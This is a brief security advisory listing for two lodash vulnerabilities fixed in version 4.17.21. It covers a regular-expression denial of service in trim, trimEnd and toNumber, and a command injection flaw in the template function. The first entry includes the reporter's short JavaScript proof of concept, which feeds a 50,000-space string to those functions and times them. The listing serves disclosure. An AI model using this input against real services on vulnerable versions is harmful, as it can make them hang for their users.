Security Advisories 🚨

🚨 Regular Expression Denial of Service (ReDoS) in lodash

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions. Steps to reproduce (provided by reporter Liyuan Chen): var lo = require('lodash'); function build_blank (n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0) var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1) var time2 = Date.now(); lo.trimEnd(s) var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2)

🚨 Command Injection in lodash

lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
